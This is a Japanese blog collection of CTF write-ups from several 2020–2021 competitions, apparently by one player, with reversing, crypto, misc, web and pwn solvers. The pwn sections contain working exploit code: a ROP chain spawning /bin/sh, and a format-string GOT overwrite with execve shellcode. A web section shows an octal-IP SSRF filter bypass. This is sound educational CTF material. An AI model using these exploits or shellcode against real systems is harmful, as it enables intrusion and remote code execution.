# call gets(rdi); // scan '/bin/sh\0' from stdin
payload += p64(addr_gets_plt)
# set bss addr to rdi ('/bin/sh\0')
payload += p64(pop_rdi)
payload += p64(addr_bss)
# call system(rdi)
payload += p64(addr_system)

conn.sendline(payload)
c = conn.recvline()  # garbage
print(c)
conn.sendline('/bin/sh') # getsへ'/bin/sh'を送る
conn.interactive()

'''
$ python3 solve.py
[*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/d/CTF/SECCON_Beginners_CTF_2021/pwn/beginners_rop/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
puts GOT: 0x7f91bbf8baa0
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x83\x12@\n'
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{H4rd_ROP_c4f3}$
'''

Flag: ctf4b{H4rd_ROP_c4f3}

以上です!運営のみなさんお疲れさまでした!開催ありがとうございます!

※ヒープ問にヨワヨワなので、ヒープ問の復習しないと。

Harekaze mini CTF 2020 Write-up

2020/12/26 10:00 JST - 12/27 10:00 JST (24H) に開催されたCTFのWrite-upです。チーム名: whitecatsで出場して378pt. 全体51位でした。

Easy Flag Checker [rev]

このバイナリに文字列を与えると、フラグであるかどうかチェックしてくれます。 This binary checks if the input is the flag.

フラグチェック処理のGhidraでの逆コンパイル部分。param_1が入力文字列、param_2fakeflag{this_is_not_the_real_flag}という文字列。

funcsは、インデックス0~2でそれぞれaddsubxorの処理をするだけの関数で、fakeflagとtableというデータを順番に処理している。tableの中身は、ソルバーに記載。

undefined8 check(long param_1,long param_2)

{
  char cVar1;
  int index;
  
  index = 0;
  while( true ) {
    if (0x22 < index) {
      return 0;
    }
    cVar1 = (**(code **)(funcs + (long)(index % 3) * 8))
                      ((int)*(char *)(param_2 + index),(int)(char)table[index]);
    if (cVar1 < *(char *)(param_1 + index)) break;
    if (*(char *)(param_1 + index) < cVar1) {
      return 0xffffffff;
    }
    index = index + 1;
  }
  return 1;
}

ソルバーは、fakeflagとtableのデータを順番に処理するだけ。xorしたデータだけprintableの範囲を超えるので、最終的に128で割った余りにしている。

# -*- coding: utf-8
funcs = ['\x96\x11\x40\x00\x00\x00\x00\x00', # return a + b
         '\xb4\x11\x40\x00\x00\x00\x00\x00', # return a - b
         '\xd4\x11\x40\x00\x00\x00\x00\x00'] # return a ^ b
# -> 0: add, 1: sub(), 3: xor()


def add(i, j):
    return ord(i) + ord(j)

def sub(i, j):
    return ord(i) - ord(j)

def xor(i, j):
    return ord(i) ^ ord(j)

functions = [add, sub, xor]

'''
                             table                                           XREF[3]:     Entry Point(*), 
                                                                                          check:0040124f(*), 
                                                                                          check:00401256(R)  
        00404060 e2 00 19        undefine
                 00 fb 0d 
                 19 02 38 
           00404060 e2              undefined1E2h                     [0]                               XREF[3]:     Entry Point(*), 
                                                                                                                     check:0040124f(*), 
                                                                                                                     check:00401256(R)  
           00404061 00              undefined100h                     [1]
           00404062 19              undefined119h                     [2]
           00404063 00              undefined100h                     [3]
           00404064 fb              undefined1FBh                     [4]
           00404065 0d              undefined10Dh                     [5]
           00404066 19              undefined119h                     [6]
           00404067 02              undefined102h                     [7]
           00404068 38              undefined138h                     [8]
           00404069 e0              undefined1E0h                     [9]
           0040406a 22              undefined122h                     [10]
           0040406b 12              undefined112h                     [11]
           0040406c bd              undefined1BDh                     [12]
           0040406d ed              undefined1EDh                     [13]
           0040406e 1d              undefined11Dh                     [14]
           0040406f f5              undefined1F5h                     [15]
           00404070 2f              undefined12Fh                     [16]
           00404071 0a              undefined10Ah                     [17]
           00404072 c1              undefined1C1h                     [18]
           00404073 fc              undefined1FCh                     [19]
           00404074 00              undefined100h                     [20]
           00404075 f2              undefined1F2h                     [21]
           00404076 fc              undefined1FCh                     [22]
           00404077 51              undefined151h                     [23]
           00404078 08              undefined108h                     [24]
           00404079 13              undefined113h                     [25]
           0040407a 06              undefined106h                     [26]
           0040407b 07              undefined107h                     [27]
           0040407c 39              undefined139h                     [28]
           0040407d 3c              undefined13Ch                     [29]
           0040407e 05              undefined105h                     [30]
           0040407f 39              undefined139h                     [31]
           00404080 13              undefined113h                     [32]
           00404081 ba              undefined1BAh                     [33]
           00404082 00              undefined100h                     [34]
'''
table =  '\xe2\x00\x19\x00\xfb\x0d\x19\x02'
table += '\x38\xe0\x22\x12\xbd\xed\x1d\xf5'
table += '\x2f\x0a\xc1\xfc\x00\xf2\xfc\x51'
table += '\x08\x13\x06\x07\x39\x3c\x05\x39'
table += '\x13\xba\x00'

fake_flag = "fakeflag{this_is_not_the_real_flag}"
i = 0
cVal = []
for i in range(len(fake_flag)):
    param0 = fake_flag[i]
    param1 = table[i]
    cVal += [functions[i % 3](param0, param1)]

cVal = list(map(lambda x: x % 128, cVal))
print(''.join(map(chr, cVal)))
'''
$ python3 solve.py
HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
'''

Flag: HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}

Wait [rev]

Please be patient. Brute-force attacks on the score server are prohibited.

実行すると、HINT: ^HarekazeCTF\{ID[A-Z]{4}X\}$ と出力される。求めるのは[A-Z]{4}の4文字分。実行ファイルは、フラグチェック前に3秒のsleepが実行されるので、その処理を潰して実行ファイルに対してブルートフォースするか、チェック処理のところを解析して外部で処理するかの2択ぐらい。

sleep実行処理は、いろいろとチェック処理が入っていて潰すのが面倒くさそうだったので、後者でソルバーを作成。フラグのチェック処理は、HarekazeCTF\{ID[A-Z]{4}X\}$SALT\x00という文字列を結合した文字列のSHA1ハッシュが1fcce7ec44beb72c994e2cd69c462916ca8ec810になるかの確認だけ。(最初\x00部分が抜けていて、ちょっと気づくのに時間がかかった)

# -*- coding: utf-8 -*-
from hashlib import sha1
from itertools import product

def main():
    # HINT: ^HarekazeCTF\{ID[A-Z]{4}X\}$
    '''
    debug
    'HarekazeCTF{IDZZZZX}'
    0x7fffffffe100: 0xe9    0xcc    0x8d    0x45    0xa1    0x44    0x28    0xee
    0x7fffffffe108: 0xd2    0xa2    0x2a    0xa8    0x2b    0xfc    0x36    0x80
    0x7fffffffe110: 0xa9    0x37    0xae    0x7d    0x0     0x0     0x0     0x0
    '''
    
    '''
      local_78[0] = '\x1f';
      local_78[1] = 0xcc;
      local_78[2] = 0xe7;
      local_78[3] = 0xec;
      local_78[4] = 0x44;
      local_78[5] = 0xbe;
      local_78[6] = 0xb7;
      local_78[7] = 0x2c;
      local_78[8] = 0x99;
      local_78[9] = 0x4e;
      local_78[10] = 0x2c;
      local_78[11] = 0xd6;
      local_78[12] = 0x9c;
      local_78[13] = 0x46;
      local_78[14] = 0x29;
      local_78[15] = 0x16;
      local_78[16] = 0xca;
      local_78[17] = 0x8e;
      local_78[18] = 0xc8;
      local_78[19] = 0x10;
    '''
    correct_sha1 = [0x1f, 0xcc, 0xe7, 0xec, 0x44, 0xbe, 0xb7, 0x2c,
                    0x99, 0x4e, 0x2c, 0xd6, 0x9c, 0x46, 0x29, 0x16,
                    0xca, 0x8e, 0xc8, 0x10]
    correct_sha1_md = ''.join(map(lambda x: x[2:], map(hex, correct_sha1)))
    
    seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    cnt = 0
    for s in product(seed, repeat=4):
        FLAG = 'HarekazeCTF{ID' + ''.join(s) + 'X}'
        FLAG += 'SALT\x00'
        flag_sha1 = sha1(FLAG.encode('utf-8'))
        flag_md = flag_sha1.hexdigest()
        print(cnt, FLAG, ':', flag_md, correct_sha1_md)
        cnt += 1
        
        if flag_md == correct_sha1_md:
            print('!!!! GET FLAG !!!!')
            break


if __name__ == '__main__':
    main()

'''
$ python3 solve.py
 :
298850 HarekazeCTF{IDRACGX}SALT : c539a4d9c7352680001a03046ad37c697e609d1b 1fcce7ec44beb72c994e2cd69c462916ca8ec810
298851 HarekazeCTF{IDRACHX}SALT : 917aeeb01e576f5c66bd61f86c96e685b9895abf 1fcce7ec44beb72c994e2cd69c462916ca8ec810
298852 HarekazeCTF{IDRACIX}SALT : 1fcce7ec44beb72c994e2cd69c462916ca8ec810 1fcce7ec44beb72c994e2cd69c462916ca8ec810
!!!! GET FLAG !!!!
'''

Flag: HarekazeCTF{IDRACIX}

以上です。

TokyoWesterns CTF 6th 2020 Write-up

2020/09/19 09:00 JST - 09/21 09:00 JST (48H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して469pt. 全体101位でした。warmupだけで終わった感。

mask [misc]

192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192

ネットマスク付きのIPv4アドレスの一覧が問題文として与えられた。たぶんホスト部がASCII範囲になるだろうと抜き出して繋げたらBase64文字列ぽくなったので、デコードしたらフラグがでてきた。

# -*- coding: utf-8 -*-
import base64

text = '''192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
192.168.8.214/255.255.255.128
192.168.5.197/255.255.255.128
192.168.71.90/255.255.255.0
192.168.62.55/255.255.255.192
192.168.78.209/255.255.255.128
192.168.76.216/255.255.255.128
192.168.91.202/255.255.255.128
192.168.93.108/255.255.255.0
192.168.74.76/255.255.254.0
192.168.10.88/255.255.254.0
192.168.82.236/255.255.255.128
192.168.13.246/255.255.255.128
192.168.99.228/255.255.255.128
192.168.68.83/255.255.252.0
192.168.23.113/255.255.255.192
192.168.52.113/255.255.255.192
192.168.69.99/255.255.255.0
192.168.19.114/255.255.255.192
192.168.53.236/255.255.255.128
192.168.90.117/255.255.254.0
192.168.35.90/255.255.255.0
192.168.91.121/255.255.255.0
192.168.48.49/255.255.255.192
192.168.27.104/255.255.255.0
192.168.98.204/255.255.255.128
192.168.93.87/255.255.255.0
192.168.44.113/255.255.255.192
192.168.40.104/255.255.248.0
192.168.25.227/255.255.255.128
192.168.57.50/255.255.255.192
192.168.97.115/255.255.255.0
192.168.30.47/255.255.255.192
192.168.10.102/255.255.254.0
192.168.51.209/255.255.255.128
192.168.82.125/255.255.255.192
192.168.72.125/255.255.255.192
'''

mask = text.split()
ans = ''
for m in mask:
    ip, netmask = m.split('/')
    print(ip, netmask)
    ip = ip.split('.')
    nm = netmask.split('.')
    
    # ホスト部を繋いで、4byteの整数値に変換
    t = 0
    for i in range(4):
        tmp = int(ip[i]) & ~(int(nm[i]))
        t += tmp << ((3 - i) * 8)
    print(t, chr(t))
    ans += chr(t)
print(ans)
print(base64.b64decode(ans))
'''
VFdDVEZ7QXJlLXlvdS11c2luZy1hLW1hc2s/fQ==
b'TWCTF{Are-you-using-a-mask?}'
'''

Flag: TWCTF{Are-you-using-a-mask?}

urlcheck v1 [web] [warmup]

find the flag

http://urlcheck1.chal.ctf.westerns.tokyo/ urlcheck1.tar

SSRF問題。/check-statusに送信するURLをチェックを、そのコンテンツを返してくれる。IPv4アドレスがローカルアドレス(127.0.0.1)だとadmin-statusにアクセスしてフラグが表示される。チェック関連の処理を抜き出すと以下の処理が関係する。

app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
    matches = app.re_ip.match(ip)
    if matches == None:
        return False
    
    ip = list(map(int, matches.groups()))
    if any(i > 255 for i in ip) == True:
        return False
    # Stay out of my private!
    if ip[0] in [0, 10, 127] \
        or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
        or (ip[0] == 169 and ip[1] == 254) \
        or (ip[0] == 192 and ip[1] == 168):
        return False
    return True

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '&#x1f97a;'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_ip(urlparse(url).netloc) == False:
        return '&#x1f97a;'
    return get(url)

正規表現でのIPv4アドレス形式チェックと10進数でのローカルIPv4アドレスのチェック処理がある。URLは8進数やらなんやらIPv4アドレスの扱いが寛大だったと思うので、8進数で先頭の127を置き替えたらいけた。

チェックしてもらったURLはhttp://0177.0.0.1/admin-status

Flag: TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}

Reversing iS Amazing [reversing] [warmup]

rsa

opensslを利用したRSAの暗号化処理をしている。コマンドラインの引数で文字列を渡すと、秘密鍵での暗号化後、フラグ文字列の暗号文と一致するかどうかの確認をされる。

f:id:amaga38:20200922015743j:plain

秘密鍵は0xE11~0xE2Aのrep movsq処理で.rodataセクションからコピーされているので、そこから抜き出す。

# -*- coding: utf-8 -*-
from pwn import *

elf = ELF('./rsa')

start_idx = 0xa91 - 0x960
end_idx = 0xe11 - 0x960
text = elf.section('.text')[start_idx:end_idx]
text = [text[i] for i in range(6, len(text), 7)]
enc_flag = b''.join(map(lambda x: x.to_bytes(1, 'little'), text))
print(enc_flag)
print(len(enc_flag))

start_idx = 0x1100 - 0x010a0
seed = elf.section('.rodata')[start_idx:start_idx+(0x4c*8)]
print(seed)
print(len(seed))

with open('seed.dat', 'wb', buffering=0) as prv_file:
    prv_file.write(seed)

with open('encrypted_flag', 'wb', buffering=0) as prv_file:
    prv_file.write(enc_flag)

あとは抜き出したデータを利用して復号処理を書く。rsaのバイナリでは、opensslの以下の関数を利用していたので、最後のRSA_private_encryptRSA_public_decryptにしたらうまく復号できた。

  • BIO_new_mem_buf
  • d2i_PrivateKey_bio
  • EVP_PKEY_get1_RSA
  • RSA_private_encrypt
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/err.h>

#include <openssl/rsa.h>
#include <openssl/engine.h>

int main(int argc, void *argv[])
{
  char buf[1024] = {0};
  char buf_eflag[1024] = {0};
  char err_buf[256];
  int fd;
  int rc;

  int seed_len, eflag_len;

  fd = open("seed.dat", O_RDONLY);
  if (fd == -1) {
    puts("Error: can not open file.");
    return -1;
  }
  rc = read(fd, buf, 0x260);
  printf("rc: %d\n", rc);
  seed_len = rc;
  close(fd);

  fd = open("encrypted_flag", O_RDONLY);
  if (fd == -1) {
    puts("Error: can not open file.");
    return -1;
  }
  rc = read(fd, buf_eflag, 128);
  printf("rc: %d\n", rc);
  eflag_len = rc;
  close(fd);
  
  // RSA
  BIO *bio;
  bio = BIO_new_mem_buf(buf, seed_len);
  if (!bio) {
    puts("Error: bio error.");
    return -1;
  }

  EVP_PKEY *pkey = NULL;
  EVP_PKEY *ptr;
  ptr = d2i_PrivateKey_bio(bio, &pkey);
  if (ptr == NULL) {
    printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf));
    return -1;
  }

  RSA *rsa;
  rsa = EVP_PKEY_get1_RSA(pkey);
  if (rsa == NULL) {
    printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf));
    return -1;
  }

  
  FILE *fp;
  fp = fopen("tmp_rsa.dat", "wb");
  RSA_print_fp(fp, rsa, 0);
  fclose(fp);

  char buf_dflag[1024] = {0};
  RSA_public_decrypt(128, buf_eflag, buf_dflag, rsa, 1);
  printf("%s\n", buf_dflag);
  return 0;
}

実行結果

$ gcc -o solve solve.c -lssl -lcrypto
$ ./solve
rc: 608
rc: 128
TWCTF{Rivest_Shamir_Adleman}

flag: TWCTF{Rivest_Shamir_Adleman}

easy-hash [crypto] [warmup]

ソースコード: easy_hash.7z

ウェブサーバー: https://crypto01.chal.ctf.westerns.tokyo

初心者の方へ: ウェブサーバーとは curl コマンドを利用して通信することができます。

(例) $ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: hello 2020'

2文字入れ替えてもハッシュが変わらないので、先頭のplを入れ替えていけた

$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: lpease give me the flag of 2020'
Congrats! The flag is TWCTF{colorfully_decorated_dream}

flag: TWCTF{colorfully_decorated_dream}

nothing more to say 2020 [pwn] [warmup]

4連休楽しんでください!

nothing

nothing.c

nc pwn02.chal.ctf.westerns.tokyo 18247

nothing.cのソースコード。printfで表示される通り、Format String Bugがある。

// gcc -fno-stack-protector -no-pie -z execstack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init_proc() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

void read_string(char* buf, size_t length) {
    ssize_t n;
    n = read(STDIN_FILENO, buf, length);
    if (n == -1)
        exit(1);
    buf[n] = '\0';
}

int main(void) {
    char buf[0x100]; 
    init_proc();
    printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n");
    while (1) {
        printf("> ");
        read_string(buf, 0x100);
        if (buf[0] == 'q')
            break;
        printf(buf);
    }
    return 0;
}

セキュリティ機構は特になし。NXも無効なのでprintfのGOTを上書きして、スタックに入れたshellcodeを実行しsystem関数で/bin/shを呼ぶようにした。

ソルバーは、以下の流れで処理。

  • %$41$p をprintfで表示させ、stack上にあるargv[0]のアドレスを特定。逆算してbufの先頭アドレスをゲット
  • bufにshellcode + format string attackの文字列を格納。stackのアドレスに0x00があるので、format string attackの文字列 + 8byte調整のpadding + stackのアドレスという形にした
  • 次のprintf(">");されたときにstack上のshellcodeが実行されて、/bin/sh起動
  • あとはlsして、cat flag.txtでフラグゲット
# -*- coding: utf-8 -*-
from pwn import *
import time

def send_payload(conn, payload=b'', delim=b'>'):
    print('send:', payload)
    conn.send(payload + b'\r\n')
    data = conn.recvuntil(delim)
    print(data)
    return data[:-1]

srv = 'pwn02.chal.ctf.westerns.tokyo'
#srv = 'localhost'
port = 18247

elf = ELF('./nothing')
print(elf.got)
got_printf = elf.got[b'printf']
print('got.printf', hex(got_printf))

conn = remote(srv, port)
data = conn.recvuntil(b'>')
print(data)

# %6$p -> buf
# $39$p -> __libc_start_main + 0xe7
# $41$p -> argv
# $66$p -> *argv

payload = b'%41$p'
data = send_payload(conn, payload).split()
print(data)
argv0_addr = int(data[0], 16)
buf_addr = argv0_addr - 0x1e8  # stackのargv[0]位置からbufの先頭アドレスを逆算
print('buf_addr', hex(buf_addr))

shellcode = b'\x31\xD2\x52\x48'
shellcode += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73'
shellcode += b'\x68\x50\x48\x89\xe7\x52\x57\x48'
shellcode += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

print('buf addr', hex(buf_addr))
print(hex(int(buf_addr & 0xffffffff00000000)))
print(hex(int(buf_addr & 0xffffffff)))

buf_addr_high = (buf_addr & 0xffffffff00000000) >> 32
buf_addr_low0 = (buf_addr & 0xffff0000) >> 16
buf_addr_low1 = buf_addr & 0xffff

idx_buf = 6
idx_high = 16
idx_low0 = 17
idx_low1 = 18

# create fsb code
fsb_high = '%{}x%{}$n'.format(buf_addr_high - len(shellcode), idx_high)

write_byte = buf_addr_high
write_byte = (0x10000 + buf_addr_low0) - write_byte
fsb_low0 = '%{}x%{}$hn'.format(write_byte, idx_low0)

write_byte = 0x10000 + buf_addr_low0
write_byte = (0x20000 + buf_addr_low1) - write_byte
fsb_low1 = '%{}x%{}$hn'.format(write_byte, idx_low1)

code_len = len(shellcode) + len(fsb_high + fsb_low0 + fsb_low1)
padding = '.' * ((idx_high - idx_buf) * 8 - code_len)
code = fsb_high + fsb_low0 + fsb_low1 + padding
code = shellcode + code.encode('utf-8')

# send shellcode
target_addr = got_printf
print('send:', code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr))
conn.sendline(code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr))

conn.interactive()
conn.close()

うーん汚い。もっとシンプルに書きたいので、他のWriteupを見て勉強しよ。

以上です。

SECCON Beginers CTF 2020 write-up

2020/05/23 14:00 - 05/24 14:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して2136pt. 全体39位でした。

MISC

Welcome (50pt)

Welcome to SECCON Beginners CTF 2020! フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

Rulesに書いてあるDiscordのサーバーに参加したら、フラグの投稿があった。

Flag: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

emoemoencode (53pt)

Do you know emo-emo-encode?

emoemoencode.txt

テキストの中身は絵文字がひたすら並んでかいてあるだけ。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

とりあえず文字コードを眺めて、先頭からフラグ形式のctf4b{になるようにそれぞれの文字の4バイト目を計算してみる。

$ hexdump -C emoemoencode.txt 
00000000  f0 9f 8d a3 f0 9f 8d b4  f0 9f 8d a6 f0 9f 8c b4  |................|
00000010  f0 9f 8d a2 f0 9f 8d bb  f0 9f 8d b3 f0 9f 8d b4  |................|
00000020  f0 9f 8d a5 f0 9f 8d a7  f0 9f 8d a1 f0 9f 8d ae  |................|
00000030  f0 9f 8c b0 f0 9f 8d a7  f0 9f 8d b2 f0 9f 8d a1  |................|
00000040  f0 9f 8d b0 f0 9f 8d a8  f0 9f 8d b9 f0 9f 8d 9f  |................|
00000050  f0 9f 8d a2 f0 9f 8d b9  f0 9f 8d 9f f0 9f 8d a5  |................|
00000060  f0 9f 8d ad f0 9f 8c b0  f0 9f 8c b0 f0 9f 8c b0  |................|
00000070  f0 9f 8c b0 f0 9f 8c b0  f0 9f 8c b0 f0 9f 8d aa  |................|
00000080  f0 9f 8d a9 f0 9f 8d bd  0a                       |.........|
00000089

3バイト目が0x8Cなら4バイト目を-0x80、0x8Dなら-0x40することで、デコードできた。

def main():
    with open('emoemoencode.txt', 'rb') as f:
        data = f.read().splitlines()[0]

    ans = ''
    for idx in range(0, len(data), 4):
        if data[idx+2] == 0x8D:
            ans += chr(data[idx+3] - 0x40)
        elif data[idx+2] == 0x8C:
            ans += chr(data[idx+3] - 0x80)
    print('FLAG:', ans)

main()

FLAG: ctf4b{stegan0graphy_by_em000000ji}

Crypto

R&B (52pt)

Do you like rhythm and blues?

r_and_b.zip

ファイルの中身は、エンコードしたプログラムとエンコード結果。

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")

def rot13(s):
    # snipped

def base64(s):
    # snipped

for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

文字列の先頭がBなら以降の文字列はBase64エンコード、RならRot13されているだけ。

import base64
import codecs

def main():
    with open('encoded_flag', 'r') as f:
        encoded_FLAG = f.readline()
    print('encoded:', encoded_FLAG)
    FLAG = encoded_FLAG
    while True:
        t = FLAG
        if t[0] == 'B':
            # decode base64
            FLAG = base64.b64decode(t[1:]).decode('utf-8')
        elif t[0] == 'R':
            # rot13 rev
            FLAG = codecs.decode(t[1:], 'rot13')
        else:
            print(FLAG)
            break

main()

FLAG: ctf4b{rot_base_rot_base_rot_base_base}

Reversing

mask (62pt)

The price of mask goes down. So does the point (it's easy)!

(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)

ファイルはELFファイルで、コマンド引数にフラグを指定し、正しいとCorrect!と表示される。

Usage: ./mask [FLAG]

IDAで眺めてみると、指定したFLAG文字列を0x75でAND演算した文字列、0xEBでAND演算した文字列がそれぞれ規定の結果になるかどうかで正しいFLAGか判断している。

f:id:amaga38:20200524145157j:plain
maskのFLAGチェック処理

  • FLAG文字列の各文字 AND 0x75 → atd4`qdedtUpetepqeUdaaeUeaqau
  • FLAG文字列の各文字 AND 0xEB → c`b bk`kj`KbababcaKbacaKiacki

0x75 OR 0xEB -> 0xFFなので、それぞれ1文字ずつOR演算していけば、元のデータに復元できる。

# -*- coding: utf-8 -*-
s = 'atd4`qdedtUpetepqeUdaaeUeaqau'
s1 = 'c`b bk`kj`KbababcaKbacaKiacki'
ans = ''
for i,j in zip(s, s1):
    ans += chr(ord(i) | ord(j))

print(ans)
# 'ctf4b{dont_reverse_face_mask}'

FLAG: ctf4b{dont_reverse_face_mask}

yakisoba (156pt)

Would you like to have a yakisoba code?

(Hint: You'd better automate your analysis)

準入力からの文字列を比較するプログラム。比較処理がごちゃごちゃしてるので、久しぶりにangrを使ってみる。

f:id:amaga38:20200524161337j:plain

ソルバー

# -*- coding: utf-8 -*-
import angr
import claripy

def main():
    key_len = 31
    pj = angr.Project('./yakisoba')
    input = claripy.BVS('input', 8*key_len)

    init_state = pj.factory.entry_state(args=['./yakisoba'])
    for b in input.chop(key_len):
        init_state.add_constraints(b != 0)

    sm = pj.factory.simgr(init_state)
    # main
    sm.explore(find=0x4006D2, avoid=[0x4006F7])
    for f in sm.found:
        print(f.posix.dumps(0))
        print(f.posix.dumps(1))


if __name__ == '__main__':
    main()

'''
$ python3 solve.py 
WARNING | 2020-05-23 19:47:08,499 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\x00\x00\x00\x00'
b'FLAG: '
'''

FLAG: ctf4b{sp4gh3tt1_r1pp3r1n0}

ghost (279pt)

A program written by a ghost 👻

ファイルの中身は、.gs拡張子のスクリプトっぽいファイルと、それの出力っぽいoutput.txtというファイル

chall.gs

/flag 64 string def
/output 8 string def
(%stdin) (r) file flag readline not { (I/O Error\n) print quit }
if 0 1 2 index length {
    1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch
    } repeat (\n) print quit

output.txt

3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094 

スクリプトの正体はなにかなぁと調査。問題文のwritten by ghostを参考にGhostscript関連かなとあたりをつけて、Postscriptの文法ぽいとわかった。

このあたりを参考に読み解き。

pythonに直すとこんな感じっぽい。

# -*- coding: utf-8 -*-
flag = ''
output = ''
flag = input('')
if not flag:
    print('I/O Error')
mul = 1
for idx in range(len(flag)):
    get_ord = ord(flag[i])
    tmp = get_ord ^ (idx + 1)
    tmp = tmp * mul
    s = 1
    for j in range(463):
        s *= tmp
        s %= 64711
    print(s)  # output
    s %= 128
    mul = s + 1

ASCIIコードの印字可能文字範囲で1文字ずつoutput.txtの整数値になる文字を探索するソルバーを書いた。

output = '3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094'
output = list(map(int, output.split()))

ans = ''
mul = 1
for idx in range(len(output)):
    for p in range(0x20, 0x7f):
        get_ord = p
        tmp = get_ord ^ (idx + 1)
        tmp = tmp * mul

        s = 1
        for j in range(463):
            s *= tmp
            s %= 64711
        
        if s == output[idx]:
            print(idx, s, chr(p))
            ans += chr(p)

            s %= 128
            mul = s + 1
            break
